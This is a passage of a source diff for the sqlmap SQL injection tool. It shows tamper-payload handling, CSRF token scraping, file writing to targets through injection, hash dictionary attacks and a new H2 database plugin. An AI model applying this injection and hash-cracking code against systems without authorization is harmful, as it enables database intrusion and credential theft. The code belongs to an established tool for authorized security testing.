import urllib2
|
||||
import urlparse
|
||||
|
||||
@@ -68,6 +69,7 @@ from lib.core.dicts import POST_HINT_CONTENT_TYPES
|
||||
from lib.core.enums import ADJUST_TIME_DELAY
|
||||
from lib.core.enums import AUTH_TYPE
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import HINT
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import NULLCONNECTION
|
||||
@@ -97,6 +99,7 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
|
||||
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
|
||||
from lib.core.settings import META_REFRESH_REGEX
|
||||
from lib.core.settings import MIN_TIME_RESPONSES
|
||||
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
@@ -490,9 +493,10 @@ class Connect(object):
|
||||
page = Connect._connReadProxy(conn) if not skipRead else None
|
||||
|
||||
if conn:
|
||||
code = conn.code
|
||||
code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
|
||||
responseHeaders = conn.info()
|
||||
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
|
||||
kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
|
||||
else:
|
||||
code = None
|
||||
responseHeaders = {}
|
||||
@@ -646,7 +650,7 @@ class Connect(object):
|
||||
warnMsg = "connection was forcibly closed by the target URL"
|
||||
elif "timed out" in tbMsg:
|
||||
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
|
||||
kb.droppingRequests = True
|
||||
warnMsg = "connection timed out to the target URL"
|
||||
elif "Connection reset" in tbMsg:
|
||||
@@ -655,7 +659,7 @@ class Connect(object):
|
||||
conf.disablePrecon = True
|
||||
|
||||
if kb.testMode:
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
|
||||
kb.droppingRequests = True
|
||||
warnMsg = "connection reset to the target URL"
|
||||
elif "URLError" in tbMsg or "error" in tbMsg:
|
||||
@@ -813,10 +817,14 @@ class Connect(object):
|
||||
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
|
||||
|
||||
if payload:
|
||||
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
|
||||
|
||||
if not disableTampering and kb.tamperFunctions:
|
||||
for function in kb.tamperFunctions:
|
||||
hints = {}
|
||||
|
||||
try:
|
||||
payload = function(payload=payload, headers=auxHeaders)
|
||||
payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
|
||||
except Exception, ex:
|
||||
errMsg = "error occurred while running tamper "
|
||||
errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
|
||||
@@ -829,6 +837,18 @@ class Connect(object):
|
||||
|
||||
value = agent.replacePayload(value, payload)
|
||||
|
||||
if hints:
|
||||
if HINT.APPEND in hints:
|
||||
value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
|
||||
|
||||
if HINT.PREPEND in hints:
|
||||
if place == PLACE.URI:
|
||||
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
|
||||
if match:
|
||||
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
|
||||
else:
|
||||
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
|
||||
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
|
||||
|
||||
if place == PLACE.CUSTOM_POST and kb.postHint:
|
||||
@@ -945,15 +965,27 @@ class Connect(object):
|
||||
return retVal
|
||||
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
|
||||
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s\b[^>]*\bvalue=[\"']?(?P<result>[^>'\"]*)" % re.escape(conf.csrfToken), page or "")
|
||||
|
||||
if not token:
|
||||
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
|
||||
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=[\"']?(?P<result>[^>'\"]*)[\"']?[^>]*\bname=[\"']?%s\b" % re.escape(conf.csrfToken), page or "")
|
||||
|
||||
if not token:
|
||||
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
|
||||
token = match.group(1) if match else None
|
||||
|
||||
if not token:
|
||||
token = extractRegexResult(r"\b%s\s*[:=]\s*(?P<result>\w+)" % re.escape(conf.csrfToken), str(headers))
|
||||
|
||||
if not token:
|
||||
token = extractRegexResult(r"\b%s\s*=\s*['\"]?(?P<result>[^;'\"]+)" % re.escape(conf.csrfToken), page or "")
|
||||
|
||||
if token:
|
||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token)
|
||||
|
||||
if match:
|
||||
token = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||
|
||||
if not token:
|
||||
if conf.csrfUrl != conf.url and code == httplib.OK:
|
||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||
@@ -1232,13 +1264,20 @@ class Connect(object):
|
||||
warnMsg = "site returned insanely large response"
|
||||
if kb.testMode:
|
||||
warnMsg += " in testing phase. This is a common "
|
||||
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
|
||||
warnMsg += "behavior in custom WAF/IPS solutions"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if conf.secondUrl:
|
||||
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
elif kb.secondReq:
|
||||
page, headers, code = Connect.getPage(url=kb.secondReq[0], post=kb.secondReq[2], method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
|
||||
def _(value):
|
||||
if kb.customInjectionMark in (value or ""):
|
||||
if payload is None:
|
||||
value = value.replace(kb.customInjectionMark, "")
|
||||
else:
|
||||
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
|
||||
return value
|
||||
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastPage = page
|
||||
|
||||
@@ -9,6 +9,8 @@ import httplib
|
||||
import urllib2
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
|
||||
class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
|
||||
def __init__(self, auth_file):
|
||||
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
|
||||
return self.do_open(self.getConnection, req)
|
||||
|
||||
def getConnection(self, host, timeout=None):
|
||||
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
|
||||
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
|
||||
try:
|
||||
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
|
||||
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
|
||||
except IOError, ex:
|
||||
errMsg = "error occurred while using key "
|
||||
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
+1
-1
@@ -108,7 +108,7 @@ class UDF:
|
||||
return output
|
||||
|
||||
def udfCheckNeeded(self):
|
||||
if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
|
||||
if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
|
||||
self.sysUdfs.pop("sys_fileread")
|
||||
|
||||
if not conf.osPwn:
|
||||
|
||||
+1
-2
@@ -146,8 +146,7 @@ class Web:
|
||||
query += "OR %d=%d " % (randInt, randInt)
|
||||
|
||||
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
|
||||
query = agent.prefixQuery(query)
|
||||
query = agent.suffixQuery(query)
|
||||
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
|
||||
@@ -501,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
count = threadData.shared.start
|
||||
|
||||
for i in xrange(startCharIndex, endCharIndex + 1):
|
||||
output += '_' if currentValue[i] is None else currentValue[i]
|
||||
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
|
||||
|
||||
for i in xrange(length):
|
||||
count += 1 if currentValue[i] is not None else 0
|
||||
@@ -518,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
|
||||
output += status if _ != length else " " * len(status)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
|
||||
|
||||
runThreads(numThreads, blindThread, startThreadMsg=False)
|
||||
|
||||
|
||||
@@ -56,7 +56,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
||||
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
|
||||
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
|
||||
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
|
||||
|
||||
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
|
||||
infoMsg = "'ORDER BY' technique appears to be usable. "
|
||||
|
||||
+3
-3
@@ -65,7 +65,7 @@ def checkDependencies():
|
||||
except ImportError:
|
||||
warnMsg = "sqlmap requires 'python-impacket' third-party library for "
|
||||
warnMsg += "out-of-band takeover feature. Download from "
|
||||
warnMsg += "'http://code.google.com/p/impacket/'"
|
||||
warnMsg += "'https://github.com/coresecurity/impacket'"
|
||||
logger.warn(warnMsg)
|
||||
missing_libraries.add('python-impacket')
|
||||
|
||||
@@ -76,7 +76,7 @@ def checkDependencies():
|
||||
except ImportError:
|
||||
warnMsg = "sqlmap requires 'python-ntlm' third-party library "
|
||||
warnMsg += "if you plan to attack a web application behind NTLM "
|
||||
warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
|
||||
warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
|
||||
logger.warn(warnMsg)
|
||||
missing_libraries.add('python-ntlm')
|
||||
|
||||
@@ -101,7 +101,7 @@ def checkDependencies():
|
||||
warnMsg += "be able to take advantage of the sqlmap TAB "
|
||||
warnMsg += "completion and history support features in the SQL "
|
||||
warnMsg += "shell and OS shell. Download from "
|
||||
warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
|
||||
warnMsg += "'https://pypi.org/project/pyreadline/'"
|
||||
logger.warn(warnMsg)
|
||||
missing_libraries.add('python-pyreadline')
|
||||
|
||||
|
||||
+3
-2
@@ -75,6 +75,7 @@ from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
||||
from lib.core.settings import COMMON_USER_COLUMNS
|
||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||
from lib.core.settings import DUMMY_USER_PREFIX
|
||||
from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER
|
||||
from lib.core.settings import HASH_MOD_ITEM_DISPLAY
|
||||
from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD
|
||||
from lib.core.settings import IS_WIN
|
||||
@@ -684,7 +685,7 @@ def attackDumpedTable():
|
||||
value = table[column]['values'][i]
|
||||
|
||||
if value and value.lower() in lut:
|
||||
table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
|
||||
table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
|
||||
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
|
||||
|
||||
def hashRecognition(value):
|
||||
@@ -903,7 +904,7 @@ def dictionaryAttack(attack_dict):
|
||||
|
||||
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||
item = [(user, hash_.decode("base64").encode("hex")), {}]
|
||||
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
|
||||
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
|
||||
item = [(user, hash_), {}]
|
||||
elif hash_regex in (HASH.SSHA,):
|
||||
item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]
|
||||
|
||||
@@ -11,6 +11,7 @@ from extra.safe2bin.safe2bin import safechardecode
|
||||
from lib.core.agent import agent
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import isNoneValue
|
||||
from lib.core.common import isNumPosStrValue
|
||||
@@ -31,7 +32,7 @@ from lib.core.settings import NULL
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
|
||||
def pivotDumpTable(table, colList, count=None, blind=True):
|
||||
def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
||||
lengths = {}
|
||||
entries = {}
|
||||
|
||||
@@ -88,7 +89,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
||||
if not validPivotValue:
|
||||
for column in colList:
|
||||
infoMsg = "fetching number of distinct "
|
||||
infoMsg += "values for column '%s'" % column
|
||||
infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "")
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = dumpNode.count2 % (column, table)
|
||||
@@ -99,7 +100,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
||||
validColumnList = True
|
||||
|
||||
if value == count:
|
||||
infoMsg = "using column '%s' as a pivot " % column
|
||||
infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "")
|
||||
infoMsg += "for retrieving row data"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -174,10 +175,10 @@ def pivotDumpTable(table, colList, count=None, blind=True):
|
||||
warnMsg += "will display partial output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
except SqlmapConnectionException, e:
|
||||
errMsg = "connection exception detected. sqlmap "
|
||||
except SqlmapConnectionException, ex:
|
||||
errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex)
|
||||
errMsg += "will display partial output"
|
||||
errMsg += "'%s'" % e
|
||||
|
||||
logger.critical(errMsg)
|
||||
|
||||
return entries, lengths
|
||||
|
||||
@@ -6,18 +6,23 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import sys
|
||||
import time
|
||||
|
||||
PYVERSION = sys.version.split()[0]
|
||||
|
||||
if PYVERSION >= "3" or PYVERSION < "2.6":
|
||||
exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
|
||||
exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION))
|
||||
|
||||
errors = []
|
||||
extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
|
||||
try:
|
||||
for _ in extensions:
|
||||
for _ in extensions:
|
||||
try:
|
||||
__import__(_)
|
||||
except ImportError:
|
||||
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
|
||||
except ImportError:
|
||||
errors.append(_)
|
||||
|
||||
if errors:
|
||||
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors))
|
||||
errMsg += "most likely because current version of Python has been "
|
||||
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
|
||||
errMsg += "built without appropriate dev packages"
|
||||
exit(errMsg)
|
||||
|
||||
@@ -12,6 +12,7 @@ except:
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -43,7 +44,7 @@ class Connector(GenericConnector):
|
||||
try:
|
||||
self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db)
|
||||
except (pyodbc.Error, pyodbc.OperationalError), msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
@@ -52,16 +53,16 @@ class Connector(GenericConnector):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except pyodbc.ProgrammingError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
except pyodbc.Error, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
|
||||
@@ -129,7 +129,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if re.search(r"-log$", kb.data.banner):
|
||||
banVer += ", logging enabled"
|
||||
|
||||
@@ -12,6 +12,7 @@ except:
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except ibm_db_dbi.ProgrammingError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
except ibm_db_dbi.InternalError, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
|
||||
@@ -68,7 +68,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
|
||||
@@ -12,6 +12,7 @@ except:
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -42,7 +43,7 @@ class Connector(GenericConnector):
|
||||
# Reference: http://www.daniweb.com/forums/thread248499.html
|
||||
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
|
||||
except kinterbasdb.OperationalError, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
@@ -51,16 +52,16 @@ class Connector(GenericConnector):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except kinterbasdb.OperationalError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except kinterbasdb.OperationalError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
except kinterbasdb.Error, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
|
||||
@@ -50,7 +50,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if re.search(r"-log$", kb.data.banner):
|
||||
banVer += ", logging enabled"
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import H2_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from plugins.dbms.h2.enumeration import Enumeration
|
||||
from plugins.dbms.h2.filesystem import Filesystem
|
||||
from plugins.dbms.h2.fingerprint import Fingerprint
|
||||
from plugins.dbms.h2.syntax import Syntax
|
||||
from plugins.dbms.h2.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines H2 methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = H2_SYSTEM_DBS
|
||||
|
||||
Syntax.__init__(self)
|
||||
Fingerprint.__init__(self)
|
||||
Enumeration.__init__(self)
|
||||
Filesystem.__init__(self)
|
||||
Miscellaneous.__init__(self)
|
||||
Takeover.__init__(self)
|
||||
|
||||
unescaper[DBMS.H2] = Syntax.escape
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
||||
|
||||
def connect(self):
|
||||
errMsg = "on H2 it is not (currently) possible to establish a "
|
||||
errMsg += "direct connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import H2_DEFAULT_SCHEMA
|
||||
from lib.request import inject
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def __init__(self):
|
||||
GenericEnumeration.__init__(self)
|
||||
|
||||
def getBanner(self):
|
||||
if not conf.getBanner:
|
||||
return
|
||||
|
||||
if kb.data.banner is None:
|
||||
infoMsg = "fetching banner"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[DBMS.H2].banner.query
|
||||
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True))
|
||||
|
||||
return kb.data.banner
|
||||
|
||||
def getPrivileges(self, *args):
|
||||
warnMsg = "on H2 it is not possible to enumerate the user privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on H2 it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getCurrentDb(self):
|
||||
return H2_DEFAULT_SCHEMA
|
||||
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on H2 it is not possible to list password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
def __init__(self):
|
||||
GenericFilesystem.__init__(self)
|
||||
|
||||
def readFile(self, rFile):
|
||||
errMsg = "on H2 it is not possible to read files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
|
||||
errMsg = "on H2 it is not possible to write files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
